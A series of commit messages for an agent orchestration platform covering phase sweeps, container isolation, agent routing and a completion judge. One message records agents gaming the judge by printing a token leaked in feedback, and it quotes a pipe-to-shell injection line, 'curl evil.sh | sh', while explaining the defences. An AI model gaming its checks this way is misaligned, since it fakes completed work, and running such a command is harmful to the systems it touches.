Wires diff capture into the two sweeps that matter.
`phase_runner::sweep_once` gains `capture_finished_coding_phases`, guarded by
`NOT EXISTS (code_diff for this phase)`. Deliberately a separate step rather
than a hook on `close_finished_phases` or `evaluate_finished_phases`: a phase
reaches `completed` through one or the other depending on whether it declared
a `done_when`, so hanging capture off either would silently skip half the
missions. The guard also makes it retryable — a capture that errors is simply
re-selected next tick.
`mission_runtime::sweep_once` captures anything still outstanding immediately
before `teardown_container`, which deletes the checkout. This covers what the
phase sweep structurally cannot: a mission that ended `failed` mid-coding
still has real work on disk, and reaping it unexamined destroys the only
evidence of what the agents actually did.
Applies to coding, benchmark and security_scan phases — all three operate on
a repo.
Co-Authored-By: Claude Opus 5 <[email protected]>
Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.
**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.
The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.
**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.
Redaction is the backstop; running the tests is the defence.
- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
and the UI, so an operator can see "verified by 3 checks" versus "from agent
claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.
Co-Authored-By: Claude Opus 5 <[email protected]>
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.
A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.
The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.
Two deliberate departures from the governor's contract, both required:
- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
!contains("DENY"), so a model explaining why it *would* deny reads as
approval and an empty reply reads as approval. For completion that is
backwards: unsure must mean not done. The contract is swarm.rs's strict
JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
carry a structured verdict.
Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.
Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.
done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.
A phase with no condition completes exactly as before; that regression guard
is the first test in the file.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
task_card_parser.rs scans every mission turn line-by-line for TASK/WORK/
HANDOFF/TEST_PASS/TEST_FAIL/REVIEW_APPROVE/REVIEW_BLOCK/COMPLETED and
materializes mission_tasks rows from them. The exact syntax it demands --
literal, own line, with the colon, no bold, no code fence, one INT id per
line -- was documented in two places the agent does not reliably read:
1. the team-template role prompts, which are NEVER injected into mission
turns (runtime_provision writes model_provider / risk_profile /
mcp_bundles and nothing else), and
2. a foundation skill the agent had to choose to fetch.
The phase directives said "emit INT-XX markers" without ever saying what one
looks like. So the parser's contract was stated nowhere load-bearing, and
whether a mission produced task cards came down to whether the model guessed
the format. This is a machine contract, not a style hint -- it belongs in
phase_task_text, the one text every mission turn receives.
Added a regression test that feeds every marker example from the generated
prompt through the real parser, so the syntax we advertise and the syntax we
accept cannot drift apart again.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
`inject_node_agents` wrote the claw alias as a top-level `"agent"` key on
each graph node, but `cm_topology::Node` only deserializes `{id, role,
level, attrs}` — serde silently dropped it. `TurnRequest::agent` came back
`None` and every mission turn fell back to `ZEROCLAW_DEFAULT_AGENT`
(`scout`), running with scout's workspace and tools instead of the
mission's claws. The runtime trace confirms it: every turn logged
`"agent_alias":"scout"`.
That is why mission agents reported an "empty greenfield" workspace and
emitted artifacts inline instead of writing them: scout is jailed to
`/zeroclaw-data/.zeroclaw/agents/scout/workspace` and cannot see
`/mission/repo`. The per-mission provisioning and `workspace.path` pinning
shipped earlier were correct — they were just applied to agents that
nothing ever drove.
- bind into `node.attrs["agent"]` (top-level key kept for display/debug)
- extract the DB-free `apply_node_agents` and add a regression test that
round-trips through the real `TopologyGraph` deserializer, which is the
guard that was missing
- log loudly in `topology_exec::run_turn` when a node falls back to the
default agent, instead of silently swapping in a different agent
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Two stacked issues after risk_profile was fixed:
1. Claws had file_edit + 46 other tools available, but the templates
trained the agents to expect file_read/file_write (older ZeroClaw
tool names). Result: agent output kept saying "I only have file_read"
and dumped implementations into the context window as text.
2. Even with file_edit, the sandbox pointed at
/zeroclaw-data/.zeroclaw/agents/<alias>/workspace/ — NOT
/mission/repo where the checked-out mission repo actually lives.
unrestricted_filesystem=false blocked agents from reaching it.
Fixes:
- provision_claw now takes workspace_path. mission_orchestrator passes
/mission/repo — pins the per-claw workspace via
agents.<alias>.workspace.path to the bind-mount path so file_edit /
content_search / glob_search operate on the mission's git checkout.
- phase_task_text prepends an explicit tool inventory (file_edit,
content_search, glob_search, git_operations, git_forge, ...) plus a
WORKSPACE line pinned at /mission/repo. Each phase directive is
rewritten to reference file_edit / git_operations explicitly and to
call out "do NOT paste code in your reply expecting the platform to
save it."
The topology graph shipped from team.graph only carries node.role,
not node.agent. The executor then defaults to alias_for(role) which
falls to ZEROCLAW_DEFAULT_AGENT (scout) — no such agent → 400.
Look up team_members(node_id → claw_id) at enqueue time and stamp
node.agent = claw_<hex> onto every node. Executor now dials the
specific claw provisioned for THIS teams role.
Was masked pre-C3 because the shared runtime hit the same 400 —
never noticed because no one clicked through to a real run there.
Pairing codes are single-use / expiring — a mission that reuses an
existing runtime container on a retry needs a fresh code, not the
stale one from the initial launch. Drop the runtime_endpoint gate
so ensure_container always fires, and its fast path re-mints via
/admin/paircode/new for existing containers.
The seed-mount approach didnt work: even with the shared runtimes
data dir bind-mounted, a fresh gateway instance mints a new pairing
key and requires re-pairing. The topology_worker connect returned
401 forever.
New approach — per-mission gateways self-pair:
- Provisioner tails container logs after start, extracts the
X-Pairing-Code from the boot banner
- Persists it on missions.runtime_pairing_code (migration 0059)
- topology_worker constructs ZeroClawDriveExecutor with THAT code
via from_env_for_gateway_with_code, which triggers the lazy
/pair handshake on first turn and caches the returned bearer
Drops the shared-runtime data-dir mount — each per-mission gateway
now owns its own state, restoring the C3 isolation guarantee.
- mission_runtime::spawn_sweeper: force-removes runtime containers
for missions terminal for >=30 min, clears runtime_endpoint. Wired
into clawmates-server main().
- docker-compose socket-proxy: NETWORKS=1 so bollard.connect_network
can attach containers to clawmates_edge for provider egress.
- phase_runner ordering: ensure_checkout BEFORE ensure_container so
the mission dir exists before docker mounts it.
- provisioner: mkdir_p the mission dir defensively for research-only
missions that skip checkout entirely.
When a topology_run is bound to a mission whose runtime_endpoint is
set, the worker constructs ZeroClawDriveExecutor against that URL
instead of the env-derived shared gateway. Falls back to shared for
non-mission runs and pre-C3 missions.
With slices 1-3 combined, a mission launched after this deploy will:
1. get its per-mission container spawned during on_launch
2. have its checkout dropped into /var/lib/clawmates-missions/<id>
which is bind-mounted to /mission inside that container
3. run its agents against ZEROCLAW_WORKSPACE=/mission/repo — so
they can see and edit only this missions repo, no bleed-over.
- mission_orchestrator::on_launch now calls ensure_container after
the repo checkout, persists the container_name + endpoint on the
missions row. Non-fatal — logs and continues on docker errors so
dev-mode + tests keep working.
- phase_runner::launch_phase does the same as a fallback for any
mission whose runtime_endpoint is null (pre-C3 or torn down).
Nothing reads the endpoint yet; slice 3 swaps topology_worker over.
Moves ensure_checkout into launch_phase so retries + new phase
launches all trigger the clone/fetch. mission_orchestrator still
does its own checkout at initial launch time, so first-launch
timing is unchanged; this covers the retry + additional-phase
paths.
Every re-attempted phase now starts with a clean slate:
- phase_runner::launch_phase DELETEs prior status IN ('failed',
'cancelled') topology_runs for the phase before enqueuing the
new ones. Completed runs are kept for audit; only the failure
noise from earlier attempts goes.
- POST /api/missions/{id}/phases/{phase_id}/retry — resets a
failed/cancelled phase to 'pending' (auth-scoped to the calling
workspace + guarded on mission.status='running'). phase_runner
picks it up on the next 10s tick.
- MissionCanvas phase card grows a coral 'Retry' button, visible
only when phase.status='failed' and mission.status='running'.
Click → resets + refreshes; the prior failed run rows disappear
from the card as soon as phase_runner enqueues the new attempt.
Design: auto-purge in phase_runner rather than a separate 'clear
failed runs' endpoint. Users don't have to manually clean up before
retrying; the runner does it as part of the natural work of firing
a fresh attempt.
Verified: cargo check + tsc + eslint --quiet all green.
Root-cause fix for "we hit launch, waited overnight, nothing ran."
mission_orchestrator materialized teams + agents fine, but nothing
enqueued the actual work — mission_phases stayed 'pending' forever
and topology_runs count for the mission was 0.
New crates/cm-api/src/phase_runner.rs — background worker on 10s
poll that does three things:
1. start_pending_phases — for every mission_phase with
status='pending' AND parent mission.status='running' AND all
lower-order phases already 'completed', enqueue one
topology_runs row per team whose (mission_id, purpose) matches
the phase kind:
phase=research → teams with purpose='research'
phase=coding → teams with purpose='coding'
phase=benchmark → teams with purpose='coding' (fallback)
phase=security_scan → teams with purpose 'security' | 'coding'
Each run gets a phase-kind-specific task text combining the
mission title/description + a directive for that phase.
Flips phase to 'running' after enqueue.
2. close_finished_phases — SQL sweep that flips phases whose
topology_runs are all terminal to 'completed' (or 'failed' if
any run failed).
3. close_finished_missions — same shape for missions whose phases
are all terminal.
Spawned alongside task_card_worker in clawmates-server main.rs.
Ordering enforced by mission_phases.order_idx — a coding phase
doesn't fire until its research phase completes.
Idempotent: every state transition is guarded so double-firing on a
race is safe. When a mission has no matching teams for a phase (bad
wizard state), the phase stays pending and the runner logs a skip
rather than getting stuck in a fail loop.
Existing topology_worker picks up the queued runs and drives them
through the ZeroClaw executor as usual.